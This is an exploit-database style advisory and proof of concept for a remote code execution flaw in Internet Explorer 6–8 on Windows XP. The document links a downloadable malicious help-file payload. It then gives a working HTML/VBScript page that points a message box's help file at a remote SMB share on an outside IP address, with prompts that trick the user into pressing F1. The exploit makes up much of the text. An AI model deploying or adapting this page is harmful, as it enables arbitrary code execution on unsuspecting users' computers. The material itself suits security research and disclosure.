Microsoft Internet Explorer is prone to a remote code execution vulnerability.

Source (iSEC Security Research):
http://isec.pl/vulnerabilities10.html

Attackers can exploit this issue to execute arbitrary code in the context of the user running the application. Successful exploits will compromise the application and possibly the underlying computer.

Note attackers must use social-engineering techniques to convince an unsuspecting user to press the 'F1' key when the attacker's message box prompts them to do so.

Internet Explorer 6, 7, and 8 are vulnerable when running on the Windows XP platform.

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A copy of test.hlp can be downloaded from here:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/11615.zip (msgbox_test_help.zip)
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<html>
<script type="text/vbscript">
big = "\\184.73.14.110\PUBLIC\test.hlp"

//For i=1 to 2500
//  big = big & "\..\"
//Next


MsgBox "please press F1 to save the world", ,"please save the world",
big, 1
MsgBox "press F1 to close this annoying popup", ,"", big, 1
MsgBox "press F1 to close this annoying popup", ,"", big, 1
</script>
</html>